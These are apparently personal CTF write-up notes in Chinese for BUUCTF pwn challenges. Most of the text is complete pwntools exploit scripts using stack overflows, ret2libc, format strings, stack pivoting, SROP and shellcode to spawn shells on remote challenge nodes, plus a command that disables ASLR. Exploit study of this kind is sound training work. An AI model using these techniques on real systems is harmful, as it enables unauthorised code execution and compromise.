常见函数
read函数
ssize_t read(int fd, void *buf, size_t count);
fd
:文件描述符,指明从哪个文件或设备读取数据。
buf
:指向缓冲区的指针,这个缓冲区用于存储从文件描述符读取的数据。
count
:要读取的最大字节数。
返回值是实际读取的字节数;如果文件结束,则返回
0;如果发生错误,则返回 -1。
write函数
ssize_t write(int fd, const void *buf, size_t count);
fd
:文件描述符,指明向哪个文件或设备写入数据。
buf
:指向含有要写入数据的缓冲区的指针。
count
:要写入的字节数。
返回值是实际写入的字节数;如果发生错误,则返回 -1。
puts函数
int puts(const char *s);
返回值是一个非负整数,表示成功;如果发生错误,则返回
EOF
。
关ASLR随机化
1 echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Buuctf
pwn1_sctf_2016
变量 s
存储在当前函数的栈帧中,相对于ESP的偏移量是
0x1C
,相对于EBP的偏移量是
-0x3C
。因此,s
在栈帧中的位置是在
ebp-0x3C + 0x1C
。最多读取32(3C-1C)个字符
fgets函数会检查输入的长度并限制输入的长度
"I"和"you"互换
1 replace((std ::string *)v3);
故payload = 20个"I" + 4(32位ebp长度) + get_flag()函数地址
1 2 3 4 5 6 7 8 9 from pwn import *context.update(os='linux' , arch='amd64' , log_level='debug' ) p = remote("node4.buuoj.cn" ,27741 ) payload = b'I' *20 + b'a' *4 + p32(0x8048F0D ) p.sendline(payload) p.interactive()
jarvisoj_level0
1 2 char buf[128 ]; return read(0 , buf, 0x200 uLL);
缓冲区大小为128字节,而read
函数试图读取最多512字节的数据到这个缓冲区中,标准输入中的数据量超过了缓冲区的大小
1 2 3 4 5 6 7 8 9 from pwn import *context.update(os='linux' , arch='amd64' , log_level='debug' ) p = remote("node4.buuoj.cn" ,25782 ) payload = b'a' *(0x80 ) + b'a' *8 + p64(0x400596 ) p.sendline(payload) p.interactive()
[第五空间2019 决赛]PWN5
格式化字符串漏洞:printf() 函数的参数被定义为可变的,printf()
函数从栈中取出参数,如果它需要 3 个,那它就取出 3
个。除非栈的边界被标记了,否则 printf()
是不会知道它取出的参数比提供给它的参数多了。
checksec 有 Canary 保护
输入探测格式化字符串的payload:
1 AAAA %08 x %08 x %08 x %08 x %08 x %08 x %08 x %08 x %08 x %08 x %08 x %08 x %08 x
"AAAA":填充格式化字符串中的一部分,只用来填充位置
"%p":这是一个格式化字符串占位符,以十六进制格式输出栈上的参数,并保证输出的宽度为8个字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context.update(os='linux' , arch='amd64' , log_level='debug' ) p = remote("node4.buuoj.cn" ,25782 ) leak_addr = 0x804C044 p.recvuntil('your name:' ) payload = p32(leak_addr) + b'%10$n' p.sendline(payload) p.recvuntil('your passwd:' ) p.sendline(b'4' ) p.interactive()
payload原理:
1 payload = p32(leak_addr) + b'%10$n'
%10: 这是一个格式化字符串占位符,用于将写入的字符数(即写入到先前提到的
p32(leak_addr)`指向的地址的字符数)写入指定的地址。
$n
:
这是一个字段选择器,指定了参数的索引。在这个例子中,它表示在参数列表中选择第10个参数。
因为0x804C044是4个字节,所以密码是4
jarvisoj_level2
payload p32 第一个是call _system,第二个是 /bin/sh 的地址
1 2 3 4 5 6 7 8 9 from pwn import *context.update(os='linux' , arch='amd64' , log_level='debug' ) p = remote("node4.buuoj.cn" ,29853 ) payload = b'a' *(0x88 ) + b'a' *4 + p32(0x0804849E ) + p32(0x0804a024 ) p.sendline(payload) p.interactive()
ciscn_2019_n_8
ELF32
1 2 3 4 5 6 7 8 9 10 from pwn import *context.update(os='linux' , arch='amd64' , log_level='debug' ) p = remote("node4.buuoj.cn" ,29853 ) payload = b'a' * (13 *4 ) + p32(17 ) + p32(0 ) p.recv() p.sendline(payload) p.interactive()
ciscn_2019_c_1
在encrypt加密函数中的gets函数可以构造栈溢出,shift+f12找不到"system""/bin/sh"等字符串,需要利用ret2libc
libcsearcher枚举试库
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *from LibcSearcher import *context.update(os='linux' , arch='amd64' , log_level='debug' ) pr0cess = remote("node4.buuoj.cn" ,28976 ) elf = ELF("./ciscn_2019_c_1" ) plt = elf.plt['puts' ] got = elf.got['puts' ] pop_rdi = 0x400c83 main = 0x400b28 ret_addr = 0x4006b9 pr0cess.recv() pr0cess.sendline(b"1" ) pr0cess.recvuntil(b"encrypted\n" ) payload = b"a" *0x58 +p64(pop_rdi)+p64(got)+p64(plt)+p64(main) pr0cess.sendline(payload) pr0cess.recvuntil(b"Ciphertext\n" ) pr0cess.recvuntil(b"\n" ) puts_addr = u64(pr0cess.recv(6 ).ljust(0x8 , b"\x00" )) libc = LibcSearcher("puts" , puts_addr) base_addr = puts_addr-libc.dump("puts" ) pr0cess.recv() pr0cess.sendline(b"1" ) pr0cess.recvuntil(b"encrypted\n" ) sys_addr = base_addr+libc.dump('system' ) bin_sh = base_addr+libc.dump('str_bin_sh' ) payload=b"a" *0x58 +p64(ret_addr)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr) pr0cess.sendline(payload) pr0cess.interactive()
bjdctf_2020_babystack
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *p = remote("node4.buuoj.cn" , 26693 ) elf = ELF('./bjdctf_2020_babystack' ) plt = elf.plt['puts' ] got = elf.got['puts' ] context.update(os='linux' , arch='amd64' , log_level='debug' ) ret = 0x0000000000400561 func_bin_sh = 0x00000000004006E6 pop_rdi_ret = 0x0000000000400833 bin_sh = 0x0000000000400858 system_addr = elf.symbols["system" ] p.sendlineafter(b"Please input the length of your name:" , "46" ) p.recv() payload = b'a' * 16 + b"b" * 8 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr) p.sendline(payload) p.interactive()
jarvisoj_level2_x64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *context.update(os='linux' , arch='amd64' , log_level='debug' ) p = remote("node4.buuoj.cn" , 29935 ) backdoor = 0x600A90 system = 0x400603 pop_rdi_ret = 0x4006b3 payload = b'a' * (0x80 +8 ) + p64(pop_rdi_ret) + p64(backdoor) + p64(system) p.sendline(payload) p.interactive()
[HarekazeCTF2019]baby_rop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *context.update(os='linux' , arch='amd64' , log_level='debug' ) p = remote("node4.buuoj.cn" , 27206 ) backdoor = 0x0000000000601048 system = 0x00000000004005E3 pop_rdi_ret = 0x0000000000400683 payload = b'a' * (0x10 +8 ) + p64(pop_rdi_ret) + p64(backdoor) + p64(system) p.sendline(payload) p.interactive()
bjdctf_2020_babyrop2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *context.update(os='linux' , arch='amd64' , log_level='debug' ) p = remote('node4.buuoj.cn' ,25449 ) elf = ELF('bjdctf_2020_babyrop2' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] gift = 0x400814 pop_rdi = 0x0000000000400993 p.recv() payload = '%7$p' p.recvuntil("I'll give u some gift to help u!\n" ) p.sendline(payload) p.recvuntil('0x' ) canary = int (p.recv(16 ), 16 ) print (hex (canary))p.recvuntil("Pull up your sword and tell me u story!\n" ) payload = 'a' * 0x18 + p64(canary) + 'a' * 8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(gift) p.sendline(payload) puts_addr = u64(p.recv(6 ).ljust(8 , '\x00' )) print (hex (puts_addr))base = puts_addr - 0x6f6a0 system = base + 0x453a0 bin_sh = base + 0x18ce17 p.recvuntil('Pull up your sword and tell me u story!\n' ) payload = 'a' * 0x18 + p64(canary) + 'a' * 8 + p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(gift) p.sendline(payload) p.interactive()
get_started_3dsctf_2016
32位ELF文件,函数参数直接压入栈中
调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->
··· ->参数1
调用者清理栈为外平栈,自身清理栈为内平栈,
main函数的gets溢出,调用get_flag(int a1, int
a2)函数,函数的返回地址为exit,然后传入参数 a1 == 0x308CD64F &&
a2 == 0x195719D1
,这样会先赋值然后exit清栈防止栈上的异常(描述不是很严谨..
1 2 3 4 5 6 7 8 9 from pwn import *context.update(os='linux' , arch='amd64' , log_level='debug' ) p = remote("node5.buuoj.cn" ,"27276" ) payload = b'a' *(0X38 ) + p32(0x080489A0 ) + p32(0x0804E6A0 ) + p32(0x308CD64F ) + p32(0x195719D1 ) p.sendline(payload) p.interactive()
others_shellcode
netcat
[OGeek2019]babyrop
strlen()函数遇到'\0'停止运行('\0'==''),就会执行下面的exit(0)
''是用来覆盖v5的,详见IDA [ebp-2Ch] 到 [ebp-25h] 为 7
个字节,最后那个就用''覆盖,这样后面的read就能溢出了
主要逻辑:通过write获得libc地址,要接3个参数write(1,addr,len)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *import syscontext.binary = "./pwn" context.log_level = "debug" elf = context.binary io = remote("node5.buuoj.cn" ,29317 ) libc = ELF("./libc-2.23.so" ) Payload = b'\x00' + b'aaaaaa' + b'\xff' io.sendline(Payload) io.recv() leak = flat(cyclic(0xE7 + 4 ), elf.plt['write' ], 0x8048825 , 1 , elf.got['write' ], 4 ) io.sendline(leak) libc.address = u32(io.recv(4 )) - libc.sym['write' ] success("libc -> {:#x}" .format (libc.address)) pause() io.sendline(Payload) rop = flat(cyclic(0xE7 + 4 ), libc.sym['system' ], 'aaaa' , next (libc.search(b"/bin/sh" ))) io.sendline(rop) io.interactive()
ciscn_2019_n_5
name[100]写入shellcode
text[30]跳转到bss段上的shellcode执行
1 a1: char text[30]; // [rsp+0h] [rbp-20h] BYREF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *context(arch="amd64" , os="linux" ) io = remote("node5.buuoj.cn" ,25673 ) payload = asm(shellcraft.sh()) io.recvuntil(b"tell me your name\n" ) io.sendline(payload) leak = cyclic(0x20 )+b"a" *8 +p64(0x00601080 ) io.recvuntil(b"What do you want to say to me?\n" ) io.sendline(leak) io.interactive()
ciscn_2019_en_2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *from LibcSearcher import *context.update(os='linux' , arch='amd64' , log_level='debug' ) sh = remote('node5.buuoj.cn' ,27205 ) elf = ELF('./ciscn_2019_en_2' ) pop_rdi = 0x400c83 main_addr = 0x400B28 ret = 0x4006b9 puts_plt = elf.plt["puts" ] puts_got = elf.got["puts" ] sh.recvuntil(b'Input your choice!\n' ) sh.sendline(b"1" ) payload = b"\x00" + b"a" * (0x50 + 7 ) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) sh.recvuntil(b'Input your Plaintext to be encrypted\n' ) sh.sendline(payload) sh.recvline() sh.recvline() puts_addr = u64(sh.recvuntil(b'\n' )[:-1 ].ljust(8 , b'\0' )) print (puts_addr)libc = LibcSearcher('puts' , puts_addr) offset = puts_addr - libc.dump('puts' ) binsh = offset + libc.dump('str_bin_sh' ) system = offset + libc.dump('system' ) sh.sendlineafter(b'choice!\n' , b'1' ) payload = b'\0' + b'a' * (0x57 ) payload += p64(ret) payload += p64(pop_rdi) payload += p64(binsh) payload += p64(system) sh.sendlineafter(b'encrypted\n' , payload) sh.interactive()
not_the_same_3dsctf_2016
这个地方要注意elf.sym["exit"]不能用0xdeadbeef替代,退出地址只能是exit,0xdeadbeef并没有指向exit函数的代码
https://www.cnblogs.com/jy030515/articles/16418810.html
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context.update(arch='amd64' , os='linux' ,log_level='debug' ) elf = ELF('not_the_same_3dsctf_2016' ) sh = remote('node5.buuoj.cn' ,27132 ) payload = b'A' *0x2D + p32(0x080489A0 ) + p32(elf.sym['printf' ]) + p32(elf.sym["exit" ]) + p32(0x080ECA2D ) sh.sendline(payload) sh.interactive()
ciscn_2019_ne_5
由 case 1 和 case 4 可知,由于 dest
先对于 ebp 的 offset 为 0x48 ,而 src 的偏移为 0xFC ,所以为如果在
case 1 中往 src
写入足够长的字符串,再通过 case 4 将 src 复制到
dest 中就还可以进行栈溢出。
只需要覆盖 dest 的 0x48 字节以及 pre-ebp 的 0x4
字节,再填写需要执行的 system('sh') 就可以拿到shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context.log_level = 'debug' p = remote('node5.buuoj.cn' , 28697 ) system = 0x080484D0 sh = 0x080482ea main = 0x08048722 payload = b'a' * 0x4c + p32(system) + p32(0xdeadbeef ) + p32(sh) p.sendlineafter(b'password:' ,b'administrator' ) p.sendlineafter(b'Exit\n:' ,b"1" ) p.sendlineafter(b'info:' ,payload) p.sendlineafter(b'Exit\n:' ,b"4" ) p.interactive()
铁人三项(第五赛区)_2018_rop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from LibcSearcher import LibcSearcherfrom pwn import *context.log_level = 'debug' sh = remote('node5.buuoj.cn' ,25107 ) elf = ELF('./2018_rop' ) write_got = elf.got['write' ] write_plt = elf.plt['write' ] main = elf.symbols['main' ] leak = b'a' * 0x88 + b'a' * 4 + p32(write_plt) + p32(main) + p32(0x1 ) + p32(write_got) + p32( 0x4 ) sh.sendline(leak) write_addr = u32(sh.recv(4 )) libc = LibcSearcher('write' , write_addr) offset = write_addr - libc.dump('write' ) system_addr = libc.dump('system' ) + offset bin_sh = libc.dump('str_bin_sh' ) + offset payload = b'a' * (0x88 + 4 ) + p32(system_addr) + p32(0x0 ) + p32(bin_sh) sh.sendline(payload) sh.interactive()
bjdctf_2020_babyrop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *from LibcSearcher import LibcSearchercontext.log_level = 'debug' sh = remote('node5.buuoj.cn' , 26755 ) elf = ELF('./bjdctf_2020_babyrop' ) puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] main_addr = 0x00000000004006AD pop_rdi = 0x0000000000400733 payload = b'A' * (0x20 + 0x8 ) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) sh.sendlineafter(b'Pull up your sword and tell me u story!\n' , payload) puts_addr = u64(sh.recv(6 ).ljust(8 , b'\x00' )) print (puts_addr)libc = LibcSearcher("puts" , puts_addr) offset = puts_addr - libc.dump('puts' ) bin_sh = libc.dump('str_bin_sh' ) + offset system_addr = libc.dump('system' ) + offset payload = b'A' * (0x20 + 0x8 ) + p64(pop_rdi) + p64(bin_sh) + p64(system_addr) + p64(0x0 ) sh.sendline(payload) sh.interactive()
总结(以put函数为例):
64位程序的payload是 padding + p64(pop_rdi) + p64(put_got) +
p64(put_plt) + p64(main_addr)
32位程序的payload是 padding + p32(puts_plt) + p32(main_addr) +
p32(puts_got)
bjdctf_2020_babystack2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context.log_level = 'debug' sh = remote('node5.buuoj.cn' , 26865 ) backdoor = 0x0000000000400726 sh.sendlineafter(b'Please input the length of your name:\n' , b'-1' ) payload = b'A' * 0x10 + b'A' * 8 + p64(backdoor) sh.sendlineafter(b"What's u name?\n" , payload) sh.interactive()
jarvisoj_fm
1 2 STACK CANARY Canary found
格式化字符串
1 2 3 pwn@pwn:~/Desktop/PWN/PWN$ ./fm aaaa %p %p %p %p %p %p %p %p %p %p %p aaaa 0xffa2596c 0x50 0x1 (nil) 0x1 0xf7f98a30 0xffa25a84 0xffffffff 0xf7f646b8 0x25 0x61616161
栈偏移为11个单位
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context.log_level = 'debug' sh = remote('node5.buuoj.cn' , 25562 ) x_addr = 0x0804A02C payload = p32(x_addr) + b"%11$n" sh.sendline(payload) sh.interactive()
ciscn_2019_es_2
栈迁移
这里借用printf函数的一个特性:printf会根据%s遍历输出字符串,
直到遇到\0为止。由于payload1中没有\0结尾,
所以printf会一直读取s缓冲区之后的栈数据,
作为字符串输出。导致printf不仅输出了s缓冲区的内容,
还输出ebp的地址和栈上的其他数据
payload2 0x38
= s[40] (40字节) + pre-ebp (4字节) +
函数返回地址(4字节) + payload2长度(4+4+4+4字节) +
栈对齐padding(2字节)
具体原理:
填充 A
* 4 :
这四个字节用来覆盖原先存储的 ebp
(基址指针)。
system_addr :
system
函数的地址(来自elf.symbols["system"]
)。它的作用是执行一个系统命令。
p32(0) :
system
函数会将栈顶值作为参数。这里填充0 ,目的是让
system
不接收任何额外参数。
ebp_addr - 0x38 + 0x10 + b"/bin/sh" :
这里的计算是为了确定将字符串 "/bin/sh" 存储在栈上的正确位置。当
system
被调用时,它会寻找栈上的字符串作为要执行的命令。"/bin/sh" 是标准的 shell
命令。
payload.ljust(0x28, b'') :
用空字符('')填充payload
直至达到0x28字节,这部分对控制流劫持不重要。
p32(ebp_addr - 0x38) :
用先前泄露的ebp减掉0x38,计算出一个栈地址。这个地址将会覆盖函数的返回地址,用于后续劫持控制流。
p32(leave_ret_addr) :
leave_ret_addr
是leave
指令的地址。
leave
指令常用于函数返回前的栈清理,等效于
mov esp, ebp; pop ebp;
。结合 ret
指令,这步将控制流跳转到 leave
指令。
栈情况如下:
1 2 3 4 5 6 [填充数据] [system函数地址] [0] // system函数的假参数 ["/bin/sh"字符串的地址] [...] // 不重要 [新的返回地址,指向leave指令]
劫持执行: 当vul
函数准备返回时,由于payload
中修改过的返回地址,程序流程会跳转到leave
指令。
leave
的妙用:leave
指令(
mov esp, ebp; pop ebp;
) 执行后,esp
(栈指针)
刚好指向 system
函数的地址。
ret
的触发: 紧随 leave
之后的 ret
指令会 pop
当前 esp
的值,并跳转到该值所指向的地址。因此,执行相当于
ret system();
,直接调用了 system
函数。
命令执行: 因为栈布局的设置,system
函数接收到了栈上的 "/bin/sh" 字符串作为参数,
从而执行了shell命令,为攻击者提供交互式控制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *context.log_level = 'debug' sh = remote('node5.buuoj.cn' , 27199 ) elf = ELF('./ciscn_2019_es_2' ) payload1 = b"a" * 0x24 + b"b" * 0x4 sh.recvuntil(b"Welcome, my friend. What's your name?\n" ) sh.send(payload1) sh.recvuntil(b"bbbb" ) ebp_addr = u32(sh.recv(4 )) leave_ret_addr = 0x080485FD system_addr = elf.symbols["system" ] payload2 = b'A' * 4 + p32(system_addr) + p32(0 ) + p32(ebp_addr - 0x38 + 0x10 ) + b"/bin/sh" payload2 = payload2.ljust(0x28 , b'\x00' ) + p32(ebp_addr - 0x38 ) + p32(leave_ret_addr) sh.send(payload2) sh.interactive()
jarvisoj_tell_me_something
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context.log_level = 'debug' sh = remote('node5.buuoj.cn' , 27031 ) backdoor = 0x0000000000400620 payload = b'A' * 0x88 + p64(backdoor) sh.sendlineafter(b"Input your message:\n" ,payload) sh.interactive()
[HarekazeCTF2019]baby_rop2
ret2libc:libc6_2.23-0ubuntu10_amd64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *from LibcSearcher import *context.log_level = 'debug' p = remote("node5.buuoj.cn" , 29428 ) elf = ELF('babyrop2' ) pop_rdi = 0x0000000000400733 pop_rsi_r15 = 0x0000000000400731 format_str = 0x0000000000400770 ret_addr = 0x0000000000400734 printf_plt = elf.plt['printf' ] read_got = elf.got['read' ] main_plt = elf.sym['main' ] payload = b'a' *0x28 +p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0 )+p64(printf_plt)+p64(main_plt) p.recvuntil(b"name? " ) p.sendline(payload) read_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) libc = LibcSearcher('read' , read_addr) libc_base = read_addr - libc.dump('read' ) sys_addr = libc_base + libc.dump('system' ) bin_sh = libc_base + libc.dump('str_bin_sh' ) payload = b'a' *0x28 +p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)+p64(0 ) p.sendline(payload) p.interactive()
1 2 3 cd /home/babyrop2 cat flag
pwn2_sctf_2016
LibcSearcher试遍均segment fault,只能用现成的偏移
以前的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 from pwn import *from LibcSearcher import *import syscontext(arch='amd64' , os='linux' , log_level='debug' , terminal="/bin/sh" ) elf = ELF('./pwn2_sctf_2016' ) sh = remote("node5.buuoj.cn" ,26421 ) pad = '0' * 48 vuln_addr = 0x0804852f format_addr = 0x080486f8 printf_addr = 0x08048370 printf_got_addr = 0x0804a00c anchor_symbol = 'printf' sh.recvuntil('read?' .encode()) sh.sendline('-1' .encode()) sh.recvline() payload = pad.encode() + p32(printf_addr) + p32(vuln_addr) + p32(format_addr) + p32(printf_got_addr) sh.sendline(payload) sh.recvuntil('said: ' ) sh.recvuntil('said: ' ) mem_printf_addr = u32(sh.recv(4 )) print ("printf: %#x -> %s" % (printf_got_addr, hex (mem_printf_addr)))atoi_got_addr = 0x0804a01c sh.recvuntil('read?' .encode()) sh.sendline('-1' .encode()) sh.recvline() payload = pad.encode() + p32(printf_addr) + p32(vuln_addr) + p32(format_addr) + p32(atoi_got_addr) sh.sendline(payload) sh.recvuntil('said: ' ) sh.recvuntil('said: ' ) mem_atoi_addr = u32(sh.recv(4 )) print ("atoi: %#x -> %s" % (atoi_got_addr, hex (mem_atoi_addr)))mem_addr = mem_printf_addr libc_anchor_offset = 0x49020 libc_system_offset = 0x3a940 libc_binsh_offset = 0x15902b mem_libc_base = mem_addr - libc_anchor_offset mem_system_addr = mem_libc_base + libc_system_offset mem_binsh_addr = mem_libc_base + libc_binsh_offset print (" binsh=%x, system=%x" % (mem_binsh_addr, mem_system_addr))gmon_start_got_addr = 0x0804a014 gmon_start_plt_addr = 0x08048390 getn_addr = 0x080484e3 for i in range (0 , 4 ): sh.recvuntil('read?' ) sh.sendline('-1' .encode()) sh.recvline() payload1 = pad.encode() + p32(getn_addr) + p32(vuln_addr) + p32(gmon_start_got_addr + i) + p32(0x12345678 ) sh.sendline(payload1) sh.recvline() pos_start = 2 * (4 - i) pos_end = pos_start + 2 onebyte = hex (mem_system_addr)[pos_start:pos_end] print ("==>" + onebyte) if int (onebyte, 16 ) == 0 : sh.send(p8(0 )) else : sh.sendline(p8(int (onebyte, 16 ))) sh.recvuntil('read?' .encode()) sh.sendline('-1' .encode()) sh.recvline() payload = pad.encode() + p32(printf_addr) + p32(vuln_addr) + p32(format_addr) + p32(gmon_start_got_addr) sh.sendline(payload) sh.recvuntil('said: ' ) sh.recvuntil('said: ' ) mem_gmon_start_addr = u32(sh.recv(4 )) print ("gmon_start: %#x -> %s" % (gmon_start_got_addr, hex (mem_gmon_start_addr)))sh.recvuntil('read?' .encode()) sh.sendline('-1' .encode()) sh.recvline() payload1 = pad.encode() + p32(gmon_start_plt_addr) + p32(vuln_addr) + p32(mem_binsh_addr) sh.sendline(payload1) sh.interactive()
picoctf_2018_rop chain
IDA反汇编比较语句
1 2 .text:08048693 cmp [ebp+arg_0], 0DEADBAADh .text:080485E9 cmp [ebp+arg_0], 0BAAAAAADh
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *context.update(log_level='debug' ) p = remote('node5.buuoj.cn' ,29147 ) elf = ELF('./pwn' ) win_func1_addr = 0x080485CB win_func2_addr = 0x080485D8 flag_func_addr = 0x0804862B payload = b"A" * 0x18 + b"B" * 0x4 + p32(win_func1_addr) + p32(win_func2_addr) + p32(flag_func_addr) + p32(0xBAAAAAAD ) + p32(0xDEADBAAD ) p.recvuntil(b"Enter your input> " ) p.send(payload) p.interactive()
jarvisoj_level3
官方github仓库给的libc是错误的,实际是libc-2.23.so
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *p = remote("node5.buuoj.cn" , 27047 ) elf = ELF('level3' ) libc = ELF('libc-2.23.so' ) write_plt = elf.plt['write' ] write_got = elf.got['write' ] vuln_addr = elf.symbols['vulnerable_function' ] p.recvuntil('\n' ) payload = b'a' * (0x88 + 4 ) + p32(write_plt) + p32(vuln_addr) + p32(1 ) + p32(write_got) + p32(4 ) p.sendline(payload) write_real_addr = u32(p.recv(4 )) libc_base = write_real_addr - libc.symbols['write' ] log.info('libc_base: ' .format (hex (libc_base))) system_addr = libc_base + libc.symbols['system' ] bin_sh = libc_base + next (libc.search(b'/bin/sh' )) payload = b'a' * (0x88 + 4 ) + p32(system_addr) + p32(0x12345678 ) + p32(bin_sh) p.recvuntil('\n' ) p.sendline(payload) p.interactive()
ciscn_2019_s_3
关键在通过泄露出来的代码段0x400536地址对应的栈地址找到 /bin/sh
的偏移
1 2 buf = byte ptr -10h lea rsi, [rsp+buf]
gdb在SYS_write这个地方看到rsp-0x10往上走0x7fffffffdd08这个栈地址对应的代码地址为0x400536,我们泄露出来这个位置——为什么要泄露这个地址,因为前后无法泄露不是有效的栈地址,而是一些junk数据和变量数据,我们泄露0x400536这个位置,得到的就是栈地址,将这个栈地址往前走,0x0a70756574697277(当然这个地方是gdb调试随便输的数据,实际exp写的是/bin/sh),这个地方栈里面存放的就是bin/sh,算出来存放0x400536的栈地址-0x118刚好是bin/sh00的栈地址
gdb
更重要的是——泄露后第二次进函数的位置要在 v0 = sys_read(0, buf,
0x400uLL); 不然会影响栈平衡,第二次链子最前方要写/bin/sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) p = remote("node5.buuoj.cn" ,28869 ) elf = ELF("./ciscn_s_3" ) vuln = 0x4004ED syscall = 0x400517 sigreturn = 0x4004DA payload = b'/bin/sh\x00' * 2 + p64(vuln) p.sendline(payload) p.recv(0x20 ) bin_sh = u64(p.recv(8 )) - 0x110 print (hex (bin_sh))sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rdi = bin_sh sigframe.rsi = 0 sigframe.rdx = 0 sigframe.rip = syscall payload = b'/bin/sh\x00' * 2 payload += p64(sigreturn) + p64(syscall) + bytes (sigframe) p.sendline(payload) p.interactive()
ez_pz_hackover_2016
关键在通过泄露的栈地址找到padding(从截断00一直覆盖完ebp),然后接上正确的栈返回地址到shellcode即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *p = remote("node5.buuoj.cn" ,27261 ) context(arch='i386' , os='linux' ,log_level='debug' ) p.recvuntil(b'Yippie, lets crash: ' ) leak = int (p.recv(10 ), 16 ) padding = (0x3B -0x29 ) * b'A' stack = leak - 0x1C shellcode = asm(shellcraft.i386.linux.sh()) p.recvuntil(b'> ' ) payload = b'crashme\x00' + padding + p32(stack) + shellcode p.sendline(payload) p.interactive()
wustctf2020_getshell
ret2text 入门题目
1 2 3 4 5 6 7 8 9 10 11 from pwn import *p = remote("node5.buuoj.cn" ,28553 ) context(arch='i386' , os='linux' ,log_level='debug' ) p.recvuntil(b"/_/ /_/\\_,_//_/ /_/ /_//_\\_\\ \n" ) padding = (0x18 + 0x4 ) * b'A' payload = padding + p32(0x08048524 ) p.sendline(payload) p.interactive()
jarvisoj_level3_x64
ret2csu + ret2libc
这里其实可以不用ret2csu,有一种很巧妙的机械码错位,比如:41 5E
和41 5F
对应的是pop r14
和pop r15
,5E 41 5F
对应的就是pop rsi``pop r15
,所以取41 5E
和41 5F
前¼的地址,实现机械码错位即可改成自己想要的gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *from LibcSearcher import LibcSearcherp = remote("node5.buuoj.cn" , 26138 ) elf = ELF("./level3_x64" ) context(arch='i386' , os='linux' , log_level='debug' ) vulnerable_function = 0x4005E6 write_got = elf.got['write' ] csu_pop = 0x00000000004006AA csu = 0x0000000000400690 pop_rdi = 0x00000000004006b3 p.recvuntil(b"Input:\n" ) payload = 0x88 * b"a" + p64(csu_pop) + p64(0 ) + p64(1 ) + p64(write_got) + p64(8 ) + p64(write_got) + p64(1 ) + p64( csu) + 7 * p64(0 ) + p64(vulnerable_function) p.sendline(payload) write_addr = u64(p.recv(6 ).ljust(8 , b'\x00' )) libc = LibcSearcher("write" , write_addr) offset = write_addr - libc.dump("write" ) bin_sh_addr = offset + libc.dump("str_bin_sh" ) system_addr = offset + libc.dump('system' ) payload = 0x88 * b"a" + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr) p.sendlineafter(b"Input:\n" , payload) p.interactive()
pwnable_hacknote
